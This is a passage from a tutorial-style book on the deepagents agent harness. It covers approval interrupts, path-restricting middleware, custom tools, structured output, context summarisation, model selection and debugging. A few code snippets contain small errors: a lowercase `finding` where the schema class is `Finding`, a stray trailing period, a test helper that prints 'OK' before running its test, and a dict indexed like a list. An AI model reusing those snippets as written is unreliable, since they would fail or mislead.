- Each capability wants a line: ask for a plan, ask it to `grep` before reading, ask it to delegate, and say which paths are durable.
- Three homes for instructions: **prompt** (always), **skill** (on demand), **file** (when read). A long style guide in the prompt is re-sent every turn.
- **Short prompt, long skills**. Over ~30 lines, something in there is a skill.

Previous: Chapter 11 — Memory across sessions · Next: Chapter 13 — Permissions and approval

Chapter 13 — Permissions and approval

A deep agent can write and delete files. With `FilesystemBackend` those are real files (Chapter 8). This chapter is about putting a human, or a rule, between the model and anything you cannot undo.

Approval in one argument

```
agent = create_deep_agent(
    model=model,
    interrupt_on={"write_file": True},
    checkpointer=InMemorySaver(),      # required for the resume
)
```

The run stops **before** the tool executes:

```
interrupted: True
file written yet: False
next: ('HumanInTheLoopMiddleware.after_model',)
```

The file has not been written. Approve, and it is:

```
agent.invoke(Command(resume={"decisions": [{"type": "approve"}]}), config)
```

```
after approve, file: True
```

That is `LangGraph's interrupt()` underneath (Chapter 5), so everything from that layer applies: the run does not block a thread, it **stops and persists**, and the approval can arrive minutes later from another process.

The failure that only appears at the resume

Worth knowing precisely, because it is not the failure you would guess. Without a checkpointer:

```
built and ran; interrupted: True | file: False
```

Identical to the working case. It pauses, nothing complains, and the write is correctly blocked. The difference appears one request later:

```
RuntimeError: Cannot use Command(resume=...) without checkpointer
```

A missing checkpointer does not break the pause — it breaks the resume, in a different part of your code. Test the whole cycle, not just "does it stop?".

What to gate

Gating everything trains the reviewer to approve without reading, and a rubber stamp approves the one bad action too. Gate the irreversible and the expensive:

Tool	Gate it when
<code>write_file</code>	with <code>FilesystemBackend</code> — it overwrites real files
<code>delete</code>	almost always
<code>edit_file</code>	with <code>FilesystemBackend</code>
your own tools	anything that sends, spends, or deletes
<code>read_file</code> , <code>grep</code> , <code>ls</code> , <code>glob</code>	essentially never — they are reads

With the default `StateBackend`, `write_file` touches only graph state, and gating it is usually unnecessary. **The backend decides how dangerous the filesystem tools are** — which is why Chapters 8 and 13 are read together.

Decisions beyond yes

```
Command(resume={"decisions": [{"type": "approve"}]})
Command(resume={"decisions": [{"type": "reject", "message": "Do not touch that
path."}]})
Command(resume={"decisions": [{"type": "edit", "args": {"file_path": "/safe/
out.md"}}]})
```

The `edit` path matters most and is the one people skip. An agent about to write to the wrong path can be corrected rather than rejected — rejection throws away everything it did to get there. Exact shapes vary by version; check yours.

Blocking without a human

If the answer is always no, an approval queue nobody staffs is worse than a rule. Middleware can refuse outright (Chapter 14):

```
from langchain.agents.middleware import wrap_tool_call
from langchain_core.messages import ToolMessage

@wrap_tool_call
def protect(request, handler):
    if request.tool_call["name"] == "delete":
        return ToolMessage(content="Refused: deletion is not permitted.",
                           tool_call_id=request.tool_call["id"])
    return handler(request)
```

Return a `ToolMessage`, not a string — a bare string becomes a `HumanMessage`, so the refusal reads to the model as the *user* saying it.

The agent sees a normal tool result and carries on. This is a far stronger control than asking it not to, in the prompt.

Path rules are better than tool rules

Often the question is not *which tool* but *which path*. A rule beats a human for that:

```
@wrap_tool_call
def protect_paths(request, handler):
    path = request.tool_call["args"].get("file_path", "")
    if request.tool_call["name"] in {"write_file", "edit_file", "delete"} \
        and not path.startswith("/scratch/"):
        return ToolMessage(content=f"Refused: writes are only allowed under /
scratch/. Got {path}.",
                           tool_call_id=request.tool_call["id"])
    return handler(request)
```

Note the refusal *says why and where is allowed* — so the model can correct itself rather than retrying the same call. Tool output is prompt (Chapter 3).

CompositeBackend routing (Chapter 8) does this structurally, which is stronger still: if only `/repo/` maps to disk, nothing written elsewhere can escape regardless of what any rule forgets.

In a web application

1. `POST /investigate` → `invoke(...)`. If the result has `__interrupt__`, store the `thread_id` against a review task and return "pending approval".
2. The reviewer's UI renders the pending action.
3. `POST /approve/{thread_id}` → `invoke(Command(resume=...), config)`.

Nothing is held open between steps. Two operational notes: the checkpointer must be **shared across workers** (Postgres, not memory), and step 3 must be idempotent because a reviewer will double-click.

And decide what happens to a request nobody answers. Paused threads sit forever.

Try it

Watch the write get blocked, then approved:

```
uv run python -c "
from deepagents import create_deep_agent
from langgraph.checkpoint.memory import InMemorySaver
from langgraph.types import Command
from examples.scout.fakes import ScriptedModel

W = {'text': 'writing', 'tool_calls': [{'name': 'write_file', 'args': {'file_path': '/
out.md', 'content': 'x'}}]}
a = create_deep_agent(model=ScriptedModel(script=[W, 'done']),
                      interrupt_on={'write_file': True},
                      checkpointer=InMemorySaver())
cfg = {'configurable': {'thread_id': 't'}}
out = a.invoke({'messages': [{'role': 'user', 'content': 'go'}]}, cfg)
print('paused      :', '__interrupt__' in out)
print('file written :', '/out.md' in out.get('files', {}))
final = a.invoke(Command(resume={'decisions': [{'type': 'approve'}]}), cfg)
print('after approve :', '/out.md' in final.get('files', {}))
"
```

Then drop the checkpointer and confirm the asymmetry — it still pauses, and only the resume fails:

```

uv run python -c "
from deepagents import create_deep_agent
from langgraph.types import Command
from examples.scout.fakes import ScriptedModel
W = {'text': 'writing', 'tool_calls': [{'name': 'write_file', 'args': {'file_path': '/
out.md', 'content': 'x'}}]}
b = create_deep_agent(model=ScriptedModel(script=[W, 'done']),
interrupt_on={'write_file': True})
out = b.invoke({'messages': [{'role': 'user', 'content': 'go'}]})
print('still pauses:', '__interrupt__' in out)
try:
    b.invoke(Command(resume={'decisions': [{'type': 'approve'}]}))
except RuntimeError as e:
    print('resume ->', e)
"

```

Takeaways

- `interrupt_on={"tool": True}` pauses **before** the tool runs. It is LangGraph's `interrupt()`, so the run stops and persists rather than blocking.
- **Without a checkpointer it still pauses and still blocks the write** — the failure is deferred to the resume, one request later. Test the whole cycle.
- Gate the **irreversible and expensive**, never reads. **The backend decides how dangerous the filesystem tools are** — with `StateBackend`, `write_file` touches only state.
- Support **edit**, not just approve and reject; rejection discards all the work.
- If the answer is always no, **block in middleware** rather than queueing a human — and return a `ToolMessage`, not a string.
- **Path rules often beat tool rules**, and refusals should say what is allowed so the model can correct itself. `CompositeBackend` routing enforces this structurally.
- In a web app: pause, store the thread id, resume later. Shared checkpointer, idempotent approve, and a policy for requests nobody answers.

Previous: Chapter 12 — Prompting a deep agent · Next: Chapter 14 — Middleware and custom tools

Chapter 14 — Middleware and custom tools

The harness is opinionated, which is its value and its constraint. This chapter is the two supported ways to change it: adding tools, and wrapping the loop.

Custom tools

Your tools sit alongside the harness's eight (Chapter 2):

```
@tool(parse_docstring=True)
def check_metric(name: str) -> str:
    """Look up the current value of a named infrastructure metric.

    Args:
        name: One of "disk_used_pct", "jitter_ms", "error_rate".
    """
    return {"disk_used_pct": "node-3 disk_used_pct = 97"}.get(name, f"unknown metric {name!r}")

agent = create_deep_agent(model=model, tools=[check_metric])
```

Everything from the LangChain layer applies, and three points bear repeating here because the harness makes them sharper.

`parse_docstring=True` or your argument descriptions are dropped, silently. With eight built-in tools already competing for the model's attention, a tool with a vague schema is one it will not choose.

Say when to use it, and how it relates to the files. *"Prefer this over reading /metrics/; it is live."* The model is choosing between your tool and `read_file`, and nothing else tells it which is authoritative.

Return text the model can act on. `"unknown metric 'foo'"` naming the valid options ends the loop; a bare `"error"` invites another guess.

Tools versus files

A genuine design question the other books do not have. When should a capability be a tool, and when should it be a file the agent reads?

	Tool	File
Live data	yes	no
Large reference text	no — it all enters context	yes — read on demand
Actions with effects	yes	no
Something written once, read often	no	yes

The mistake is a tool that returns 40 KB of documentation. That is a file — write it into the workspace at seed time and let the agent `grep` it.

Middleware

Middleware wraps stages of the loop. `wrap_tool_call` is the one you will use:

```
from langchain.agents.middleware import wrap_tool_call

@wrap_tool_call
def audit(request, handler):
    result = handler(request)
    log.info("tool=%s args=%s", request.tool_call["name"],
            request.tool_call["args"])
    return result

agent = create_deep_agent(model=model, middleware=[audit])
```

Note that `middleware=` is also how you **add** harness capabilities — `ToDoListMiddleware` for planning (Chapter 6) arrives this way. It is not only for your own hooks.

Worth building:

Path enforcement. Chapter 13's rule: refuse writes outside `/scratch/`, and say what is allowed.

Auditing. Every filesystem operation, with the thread id. On an agent that writes files this is the record you will want when someone asks what it changed.

Scope injection. Rewrite arguments so the tenant comes from your context, never the model's (Chapter 28).

Cost accounting. Count tool calls and tokens per run (Chapter 27).

Two mechanics from the LangChain layer:

- Return a `ToolMessage`, not a string, when short-circuiting — a bare string becomes a `HumanMessage`, so a refusal reads as the user speaking.
- Order matters: middleware nests, first in the list outermost.

Extending state

`state_schema` adds fields to the graph state:

```
from deepagents import DeepAgentState

class ScoutState(DeepAgentState):
    severity: str

agent = create_deep_agent(model=model, state_schema=ScoutState)
agent.invoke({"messages": [...], "severity": "high"})
```

```
keys: ['files', 'messages', 'severity'] | severity kept: high
```

Subclass `DeepAgentState` — it carries `files` and the rest. Subclassing the wrong thing gives you an agent with no filesystem.

Usually you should not. A file is a better place for anything the agent produces, because a file has a name the agent can reason about and a custom state field does not. Reach for `state_schema` for values *your code* sets and reads — a tenant id, a severity, a request correlation id — not for the agent's output.

What you cannot change

The boundary is real:

- **The built-in middleware is always present.** You cannot remove the filesystem or subagent tools.
- **Tool names are fixed.** No renaming `write_file`.
- **The loop's shape is fixed** — model, tools, repeat.

If you are fighting these, you want a graph (Chapter 31). The harness gives up flexibility for a month of saved work; when that trade stops paying, take the other side of it.

Try it

Add a tool and watch it join the eight:

```
uv run python -c "
from deepagents import create_deep_agent
from langchain_core.tools import tool
from examples.scout.fakes import ScriptedModel

@tool(parse_docstring=True)
def check_metric(name: str) -> str:
    '''Look up a metric.

    Args:
        name: the metric name
    '''
    return 'ok'

m = ScriptedModel(script=['done'])
create_deep_agent(model=m, tools=[check_metric]).invoke({'messages':
[{'role': 'user', 'content': 'hi'}]})
print(m.bound_tools)
print('schema the model sees:', check_metric.args)
"
```

Then intercept every tool call:


```

uv run python -c "
from deepagents import create_deep_agent
from langchain.agents.middleware import wrap_tool_call
from examples.scout.fakes import ScriptedModel

seen = []
@wrap_tool_call
def audit(request, handler):
    seen.append(request.tool_call['name'])
    return handler(request)

script = [{'text': 'x', 'tool_calls': [{'name': 'write_file', 'args': {'file_path': '/a.md', 'content': '1'}}]},
          {'text': 'y', 'tool_calls': [{'name': 'ls', 'args': {'path': '/'}}]}, 'done']
create_deep_agent(model=ScriptedModel(script=script), middleware=[audit]).invoke(
    {'messages': [{'role': 'user', 'content': 'go'}]})
print('intercepted:', seen)
"

```

Takeaways

- Custom tools are **added to** the harness's eight, not swapped for them.
- `parse_docstring=True` or your argument descriptions vanish — and with eight tools already competing, a vague schema means an unused tool.
- Say **when to use your tool relative to the files**; nothing else tells the model which is authoritative.
- **A tool returning 40 KB of reference text should be a file.** Live data and actions are tools; large text read on demand is a file.
- `middleware=` both adds your hooks and **enables harness capabilities** like `TodoListMiddleware`.
- Short-circuit with a `ToolMessage`, not a string. Order nests, first is outermost.
- `state_schema` must subclass `DeepAgentState`, and is for values *your code* sets — a file is the better home for the agent's output.
- You cannot remove the built-in middleware, rename its tools, or change the loop's shape. If you need to, write a graph.

Previous: Chapter 13 — Permissions and approval · Next: Chapter 15 — Structured output

Chapter 15 — Structured output

An agent that investigates for thirty turns and ends with a paragraph is hard to use programmatically. `response_format` gives you a typed object alongside the transcript.

The mechanism

```
from pydantic import BaseModel

class Finding(BaseModel):
    root_cause: str
    confident: bool

agent = create_deep_agent(model=model, response_format=finding)
result = agent.invoke({"messages": [...]}).
```

```
keys: ['files', 'messages', 'structured_response']
structured: root_cause='disk' confident=True
```

A new key, `structured_response`, holding a validated `Finding`. Note it is **alongside** `messages` and `files`, not instead of them — you still have the transcript and the workspace.

This is LangChain's `response_format` (Chapter 5's layering), so everything from that layer applies: field descriptions are the prompt, `Literal` beats a described string, and it guarantees **shape, not correctness**.

Structured output versus a file

Here the harness gives you a choice the other layers do not, and it is worth making deliberately.

	<code>response_format</code>	A file
Typed and validated	yes	no
Machine-readable	immediately	you parse it
Length	short	any
Costs schema tokens every call	yes	no
Human-readable deliverable	no	yes
Available mid-run	no — only at the end	yes

The productive pattern is **both**, and they answer different questions:

```
class Finding(BaseModel):
    root_cause: str
    confident: bool
    report_path: str = Field(description="path of the full write-up you produced")
```

The agent writes `/findings.md` for humans and returns a small typed summary for your code — including where the detail lives. Your caller routes on `confident`; a person reads the file.

The mistake is forcing a long report through `response_format`. It is a prompt-shaped constraint on a document-shaped output, and it wastes the filesystem you already have.

Make uncertainty representable

The most valuable field in a deep agent's schema is the one that lets it decline:

```
class Finding(BaseModel):
    root_cause: str | None = Field(default=None, description="null if the evidence
is insufficient")
    confident: bool
    unresolved: list[str] = Field(default_factory=list,
description="what you could not determine")
```

A required `root_cause: str` forces the model to produce *something* after thirty turns of investigation, which is exactly how a confident fabrication reaches your database. `None` is a fact you can act on: route it to a human.

This is Chapter 12's "permission to fail", made machine-readable.

Costs

Schema tokens on every call. The schema is sent as a tool definition each turn, on top of the harness's ~2,400. A large nested model is a real per-turn cost on a long run — and unlike your tools, you never see it used until the end.

It constrains the ending, not the work. The agent still investigated however it liked; the schema only shapes the last message.

Validation is not accuracy. `confident=True` is the model's opinion, produced under pressure to fill the field.

Try it

```
uv run python -c "
from pydantic import BaseModel
from deepagents import create_deep_agent
from examples.scout.fakes import ScriptedModel

class Finding(BaseModel):
    root_cause: str
    confident: bool

m = ScriptedModel(script=[{'text': '', 'tool_calls': [{'name': 'Finding', 'args':
{'root_cause': 'disk exhaustion', 'confident': True}]}]})
out = create_deep_agent(model=m, response_format=finding).invoke({'messages':
[{'role': 'user', 'content': 'go'}]})
print('keys      : ', sorted(out.keys()))
print('structured:', out['structured_response'])
print('type      : ', type(out['structured_response']).__name__)
"
```

Then make `root_cause` a `Literal["disk", "network"]` and have the script return `"astrology"` — validation rejects it.

Takeaways

- `response_format=Schema` adds `structured_response` to the result, **alongside** `messages` and `files`.
 - It is LangChain's mechanism: field descriptions are the prompt, and it guarantees **shape, not correctness**.
 - **Use both a schema and a file**. Short typed summary for your code, full write-up for humans — with the file's path as a field.
 - Do not force a long report through `response_format`; that is what the filesystem is for.
 - **Make uncertainty representable** — an optional `root_cause` and an `unresolved` list. A required field forces a fabrication after a failed investigation.
 - Costs schema tokens on every turn, constrains only the ending, and `confident=True` is an opinion.
-

Previous: Chapter 14 — Middleware and custom tools · Next: Chapter 16 — Context management

Chapter 16 — Context management

The harness exists because context runs out. The filesystem and subagents keep bulk *out* of the transcript; this chapter is about what to do with the transcript that accumulates anyway.

Why it still grows

Even with perfect file discipline, a fifty-turn agent accumulates:

- Every tool call and its result — `grep` returned a path, `read_file` returned 200 lines.
- Every intermediate reasoning message.
- The task list, rewritten each time it changes.

And all of it is re-sent on every model call. Cost is quadratic in run length, and eventually the window ends the run outright.

The three levers, in order

1. Read less. The cheapest fix and the most neglected. `grep` before `read_file`; use `offset/limit`; ask a subagent to read the big thing. Chapter 12's prompt lines are worth more than any middleware here, because a token never read is a token never re-sent.

2. Delegate. Chapter 9, measured: the subagent's context did not join the parent's. For anything that reads a lot and concludes briefly, this is the structural answer.

3. Summarise. When the run is genuinely long, compress old turns:

```
from deepagents.middleware import SummarizationMiddleware
from deepagents.backends import StateBackend

SummarizationMiddleware(model=model, backend=StateBackend(), trigger=..., keep=...)
```

Note it takes a `backend` — deepagents' summarisation can write the summary into the filesystem rather than only into the message list, so the detail is retrievable rather than lost. That is the version worth having: a summary that says *"details in /scratch/turns-1-20.md"* keeps the door open.

Check the signature on your installed version; this middleware's arguments have moved.

What summarisation costs you

It is not free, and the losses are specific:

Detail. Whatever the summary omits is gone from the transcript. If the agent has not written it to a file, it is gone entirely.

A model call. Summarising costs tokens too.

Tool-call pairing. A summary that splits an `AIMessage` with `tool_calls` from its `ToolMessage` produces a malformed history that providers reject. Use the provided middleware rather than trimming by hand.

The mitigation for the first is a prompt line from Chapter 12: "**write intermediate findings to files as you go, not at the end.**" Files survive summarisation; the transcript does not.

What survives

Worth knowing precisely, because it tells you where to put things:

	Survives summarisation
<code>files</code>	yes — it is state, not transcript
<code>todos</code>	yes — same
<code>messages</code>	compressed
<code>structured_response</code>	produced at the end, so unaffected

This is the strongest argument for the todo list (Chapter 6): the plan is the one piece of "where am I" that cannot be squeezed. An agent that has summarised away its history still knows what remains.

And it is the strongest argument for writing files early. **The filesystem is your defence against your own summariser.**

Recognising the problem

Symptoms that mean context, not capability:

- The agent repeats work it already did — it forgot, and the evidence is gone.
- Quality degrades as the run goes on rather than being uniformly poor.
- It stops following the system prompt around turn thirty.
- A context-length error, which at least is honest.

The first is the reliable tell. An agent re-reading a file it read ten turns ago is telling you its transcript no longer contains what it learned.

Try it

Watch the transcript grow while the files stay small:

```
uv run python -c "
from examples.scout.agent import investigate
out = investigate()
msgs = sum(len(str(m.content)) for m in out['messages'])
files = sum(len(f['content']) for f in out['files'].values())
print(f'transcript: {msgs:6} chars across {len(out["messages\"]) messages')
print(f'files      : {files:6} chars across {len(out["files\"]) files')
print()
print('the transcript is re-sent every turn; the files are not')
"
```

Then check what a `read_file` result actually costs the transcript:

```
uv run python -c "
from examples.scout.agent import investigate
out = investigate()
for m in out['messages']:
    if type(m).__name__ == 'ToolMessage':
        print(f'{len(str(m.content)):5} chars  {str(m.content)[:48]!r}')
"
```

Every one of those numbers is paid again on every subsequent turn.

Takeaways

- Even with good file discipline the transcript grows, and it is **re-sent every turn** — cost is quadratic in run length.
- Three levers in order: **read less**, **delegate**, **summarise**. The first is the cheapest and most neglected.
- `SummarizationMiddleware` takes a **backend**, so summaries can be written to files rather than only compressed into messages — keeping the detail retrievable.
- Summarisation costs detail, a model call, and can break tool-call pairing if done by hand.
- `files` **and** `todos` **survive summarisation**; `messages` **do not**. That is the case for the todo list, and for writing findings early.
- **The filesystem is your defence against your own summariser.**
- The reliable symptom is an agent **repeating work it already did**.

Previous: Chapter 15 — Structured output · Next: Chapter 17 — Choosing models

Chapter 17 — Choosing models

A deep agent makes many model calls — one per turn, plus one per subagent turn. That changes the economics of model choice from "which is best" to "which is best *where*", and it is the easiest large saving available.

One model is a default, not a requirement

```
agent = create_deep_agent(model=model, subagents=[
    {"name": "log-reader", "description": "...", "system_prompt": "...", "model": s
mall_model},
])
```

The parent and each subagent can have their own. That matters because the work is genuinely different:

The parent judges. It decides what to investigate, whether the evidence supports a conclusion, and when to stop. This is where a capable model earns its price.

Subagents grind. Read a file, summarise it, report one line. Constrained, mechanical, and frequently the majority of your calls.

Putting a small model on the grinding and a large one on the judging is usually the single biggest cost reduction available in a deep agent — and because the subagent's brief is narrow (Chapter 9), the quality risk is small.

What the parent model needs to be good at

Not general capability so much as three specific things:

Long-context coherence. Twenty turns in, does it still remember the task? This is what separates models on long agentic work and it does not show up in short benchmarks.

Tool discipline. Choosing correctly among eight built-in tools plus yours, with sensible arguments. A model that reaches for `write_file` when it should `edit_file`, or ignores `grep`, will burn context.

Knowing when to stop. Agents that cannot decide they are finished are the expensive failure of Chapter 20.

Setting them

```
agent = create_deep_agent(model="claude-sonnet-5", tools=TOOLS)
```

or an instance, which is what you want in a real project (Chapter 24):

```
def parent_model():
    return init_chat_model(os.environ["PARENT_MODEL"], temperature=0, timeout=60, m
ax_retries=0)
```

Running any of this costs money. Every example in this book uses `ScriptedModel`, which does not.

`temperature=0` is worth defaulting to. An investigation is not a creative task, and determinism makes failures reproducible — which Part IV depends on.

Testing without a model at all

The book's `ScriptedModel` replays fixed replies with real tool calls, so the harness drives it exactly as it would drive Claude. That is how every output here is reproducible, and it is how Chapter 25 tests the agent for free.

The one non-obvious requirement, learned the hard way:

```
bind_tools must return self, not a copy. The harness re-binds tools on every step; a copy gets a fresh
script cursor and restarts from entry 0 every turn. If entry 0 calls a tool, that is an infinite loop that only
stops at the recursion limit.
```

Sixty lines, in `examples/scout/fakes.py`, and worth writing for your own project.

Fallbacks and retries

Both come from the LangChain layer:

```
model = primary.with_fallbacks([backup])           # provider outage
model = model.with_retry(stop_after_attempt=3)     # transient failures
```

Fallbacks fire on exceptions, not bad answers. And **do not stack retries** — client-level retries under these multiply, so three under three is nine calls before anything is reported.

On a long agent this matters more than on a single call: a transient failure at turn forty loses the whole run unless something absorbs it, so a retry on the model is worth having. Pair it with a checkpointer (Chapter 4) so a genuine crash can resume rather than restart.

Try it

Give a subagent its own model and confirm the parent's is untouched:

```

uv run python -c "
from deepagents import create_deep_agent
from examples.scout.fakes import ScriptedModel

parent = ScriptedModel(script=[
    {'text': 'delegating', 'tool_calls': [{ 'name': 'task', 'args': { 'description': 'read
the log', 'subagent_type': 'reader' } } ]},
    'parent concluded' ])
child = ScriptedModel(script=['child answered'])

sub = { 'name': 'reader', 'description': 'Reads a log.', 'system_prompt': 'Report one
line.', 'model': child }
out = create_deep_agent(model=parent, subagents=[sub]).invoke({'messages':
[{'role': 'user', 'content': 'go'}]})
for m in out['messages']:
    print(f'    {type(m).__name__:13} {str(m.content)[:44]!r}')
print()
print('parent model calls:', parent.calls, '| child model calls:', child.calls)
"

```

Two models, each used where it belongs.

Takeaways

- A deep agent makes many calls, so model choice becomes **which model where**.
- **A small model for subagents and a large one for the parent** is usually the biggest saving available, and the risk is small because subagent briefs are narrow.
- The parent needs **long-context coherence**, **tool discipline**, and **knowing when to stop** — none of which short benchmarks measure.
- Default to `temperature=0`: an investigation is not creative, and determinism makes failures reproducible.
- Construct models in one function so they are configuration and tests can inject a fake.
- A scripted model's `bind_tools` **must return** `self`, or the harness's per-step re-binding restarts the script and loops forever.
- Retries matter more here than on a single call — a failure at turn forty loses the run. Do not stack them, and pair with a checkpoint so crashes resume.

Previous: Chapter 16 — Context management · Next: Chapter 18 — The debugging mindset

Chapter 18 — The debugging mindset

A deep agent is harder to debug than a chain for a specific reason: it is long, it is non-deterministic, and **most of what it did is not in the final message**. The answer looks wrong; the cause is thirty turns back, in a file, or inside a subagent whose work you cannot see.

The cure is to stop reading the output and start reading the run.

Four layers, three libraries

Chapter 5 established the stack. Debugging follows it:

#	Layer	Question	Chapter
1	Configuration	Is the capability even enabled?	19
2	Harness	Did it plan, read, delegate, write correctly?	20
3	Model	Given what it saw, was the reasoning sound?	20
4	Runtime	State, persistence, limits	21

Layer 1 is first because it is the cheapest and, in this library, the likeliest. Three things are silently absent unless you ask for them:

- `write_todos` — no `ToDoListMiddleware`, so no planning (Chapter 6).
- **Skills** — no backend, so `skills=[...]` did nothing (Chapter 10).
- **Files across runs** — no checkpointer, so each `invoke` starts empty (Chapter 4).

None of these produce an error. The agent simply works worse than you designed it to.

The one-minute triage

Four things to look at, in order, before forming any theory.

1. What tools did the model actually have?

```
model.bound_tools      # with a scripted model, or read your trace
```

The single highest-value check in this book. Half of "the agent won't plan" is `write_todos` not being there.

2. What did it do?

```
for m in result["messages"]:
    print(type(m).__name__, str(m.content)[:80])
```

The message list is the reasoning trace. Read the `ToolMessages` especially — a run where every `read_file` returned `File not found` looks like a confused model and is a wrong path.

3. What did it produce?

```
sorted(result["files"])
result["files"][0]["findings.md"]["content"]
```

The file is the work; the final message is a summary. An agent that wrote a good report and summarised it badly is a different problem from one that concluded wrongly.

4. Where did it think it was?

```
result.get("todos")
```

A plan with everything still pending after forty turns means the agent never followed it. An unchanged plan is the clearest "stuck" signal available.

Read tool results, not conclusions

The habit that matters most. A deep agent narrates confidently regardless of whether its tools worked, because tool errors come back as ordinary `ToolMessages` (Chapter 3):

```
read missing -> "Error: File '/nope.md' not found"
```

The run succeeds. The agent says *"I was unable to locate the configuration, but based on the logs..."* and produces something plausible. Nothing raised.

So: **scan the `ToolMessages` for the word `Error` before anything else.**

```
[str(m.content)[:60] for m in result["messages"]
 if type(m).__name__ == "ToolMessage" and "Error" in str(m.content)]
```

Subagent work is invisible

By design (Chapter 9). The parent's transcript contains a subagent's one-line answer and none of its reasoning. If the answer is wrong you cannot see why from the parent.

Three ways in:

- **Have subagents write files.** Then their work is inspectable after the fact.
- **Stream with** `subgraphs=True` (Chapter 22).
- **Suspect the description.** The brief is the whole instruction, and an underspecified one produces a confident, useless answer.

Make it reproducible

Two sources of variance, both removable:

The model. Replace it with a `ScriptedModel` replaying the exact calls from the failing run. If the bug survives with fixed replies, it is your code — and now it is free to iterate on.

The state. A bug on a thread with history is not reproducible from a fresh input. Note whether you are testing a new thread or a resumed one, and what was in `files` at the start.

Bisect the capabilities

Deep agents have unusually good bisection, because each capability can be switched off:

```
build(todos=False)           # is planning confusing it?
create_deep_agent(model=m, tools=[])# is a custom tool misleading it?
# drop_subagents=[...]       # is delegation losing information?
# swap backend for StateBackend() # is the backend the problem?
```

Turn off one capability at a time. The one whose removal fixes it is implicated — and often the answer is that a capability was never doing what you assumed.

Try it

Practise reading a run rather than its answer:

```
uv run python -c "
from examples.scout.agent import investigate
out = investigate()
print('--- what it did')
for m in out['messages']:
    print(f' {type(m).__name__:13} {str(m.content)[:52]}')
print('--- what it produced')
print(' ', sorted(out['files']))
print('--- where it thought it was')
for t in out.get('todos', []): print(f"\t [{t['status']:11}] {t['content']}\n")
"
```

Then the error scan, which should be empty here:

```
uv run python -c "
from examples.scout.agent import investigate
out = investigate()
errs = [str(m.content)[:70] for m in out['messages']
        if type(m).__name__ == 'ToolMessage' and 'Error' in str(m.content)]
print('tool errors:', errs or 'none')
"
```

Now break it: change `/runbooks/disk.md` to `/runbooks/nope.md` in the script in `examples/scout/agent.py`. The run still succeeds, the report is still written — and the error scan finds it.

Takeaways

- Four layers: **configuration**, **harness**, **model**, **runtime**. Check configuration first; it is cheapest and likeliest.
- **Three capabilities are silently absent unless asked for:** planning, skills, and files across runs. None errors.

- Triage: what tools did it have → what did it do → what did it produce → where did it think it was.
 - **Checking** `bound_tools` **is the highest-value single check in this book.**
 - **Read** `ToolMessages`, **not conclusions.** Tool errors are returned, not raised, so the agent narrates confidently over a broken filesystem. Scan for `Error` first.
 - **The file is the work; the final message is a summary.** They fail differently.
 - An unchanged todo list is the clearest **stuck** signal.
 - Subagent work is invisible by design — write files, stream with `subgraphs=True`, and suspect the brief.
 - Reproduce by scripting the model *and* pinning the starting state, then **bisect by turning capabilities off one at a time.**
-

Previous: Chapter 17 — Choosing models · Next: Chapter 19 — When it won't run

Chapter 19 — When it won't run

Layer 1. The agent fails immediately, or a capability you configured is not there. These are the friendly failures — cheap to reproduce and mostly deterministic.

Every message here came from an actual run.

It raises

A string instead of a dict:

```
agent.invoke("hello")
```

```
InvalidUpdateError: Expected dict, got hello
```

Agents take `{"messages": [...]}`. The error comes from LangGraph, two layers down (Chapter 5) — which is why searching the Deep Agents documentation for it finds nothing.

Reading the result as a message:

```
agent.invoke({...}).content
```

```
AttributeError: 'dict' object has no attribute 'content'
```

The result is a dict: `result["messages"][-1].content`.

A backend factory:

```
create_deep_agent(model=model, backend=lambda rt: StoreBackend(rt))
```

```
TypeError: backend must be an initialized backend instance. Backend factories were removed in deepagents 0.7; pass StateBackend(), CompositeBackend(...), or another BackendProtocol instance instead.
```

Chapter 8. Most published examples still show the factory form.

A StoreBackend namespace that is a tuple:

```
TypeError: 'tuple' object is not callable
```

Raised deep inside the `write`, not at construction, so the traceback points at `store.py` rather than your configuration. `namespace` takes a callable.

Resuming without a checkpointer:

```
RuntimeError: Cannot use Command(resume=...) without checkpointer
```

Chapter 13 — and note the pause worked.

It runs, but the capability is missing

More common and much more expensive, because nothing tells you.

No planning.

```
default          ['ls', 'read_file', 'write_file', 'edit_file', 'delete',
'glob', 'grep', 'task']
+ TodoListMiddleware [..., 'write_todos']
```

`write_todos` is absent unless you add `TodoListMiddleware`. The agent works and never plans.

No skills.

```
create_deep_agent(model=model, skills=["./skills/"])    # builds fine
```

Without a backend that can read them, this does nothing — no error, no warning, and the skill never appears in the system prompt. Check by looking for the skill's name in the prompt (Chapter 10).

No files across runs.

```
run1 files: ['/a.md'] | run2 files: []
```

No checkpointer, so each `invoke` starts empty (Chapter 4).

No argument descriptions.

```
my_tool.args      # {'query': {'title': 'Query', 'type': 'string'}}  <- no
description
```

@tool without `parse_docstring=True`.

All four are silent. **When a capability seems absent, verify it is present** rather than debugging the model's behaviour.

Deprecations worth reading

```
create_deep_agent()    # no model
```

```
LangChainDeprecationWarning: Passing `model=None` to `create_deep_agent` is
deprecated
and will be removed in deepagents==1.0.0.
```

It works today and will not. Pass a model explicitly — Chapter 17 says construct it in one place anyway. Do not suppress deprecation warnings in this ecosystem; they are the earliest signal that something you rely on is moving.

Failures that come back as tool results

An unknown subagent:


```
We cannot invoke subagent nope because ...
```

Returned as a `ToolMessage`, not raised. The agent sees it and carries on, usually by doing the work itself — so a typo'd `subagent_type` presents as "delegation isn't helping", not as an error.

Filesystem errors (Chapter 3): missing file, no match for `edit_file`, `ls` without a path. All returned.

This is the right default and it means **a broken configuration can run to completion**. Chapter 18's error scan is the antidote.

A checklist

1. Read the **last frame in your own file** and the exception.
2. If it mentions `InvalidUpdateError`, `GraphRecursionError` or checkpoints, you are in **LangGraph** — search there.
3. If a capability seems missing, **check `bound_tools` and the system prompt** before blaming the model.
4. If there is no error at all, **scan `ToolMessages` for `Error`**.
5. Check the deprecation warnings you have been ignoring.

Try it

Collect the raising failures so they are familiar:

```
uv run python -c "
from deepagents import create_deep_agent
from deepagents.backends import StoreBackend
from examples.scout.fakes import ScriptedModel

def show(label, fn):
    try: print(f'{label:26} -> OK')
    except Exception: pass
    try:
        fn(); print(f'{label:26} -> OK')
    except Exception as e:
        print(f'{label:26} -> {type(e).__name__}: {str(e).splitlines()[0][:58]}')

m = lambda: ScriptedModel(script=['ok'])
show('string input', lambda: create_deep_agent(model=m()).invoke('hello'))
show('result .content', lambda: create_deep_agent(model=m()).invoke({'messages':
[{'role': 'user', 'content': 'h'}]}).content)
show('backend factory', lambda: create_deep_agent(model=m(), backend=lambda rt:
StoreBackend(rt)))
" 2>&1 | grep -v '^ *$'
```

Then confirm the silent one — a skill configured with no backend:

```

uv run python -c "
from deepagents import create_deep_agent
from examples.scout.fakes import ScriptedModel

seen = {}
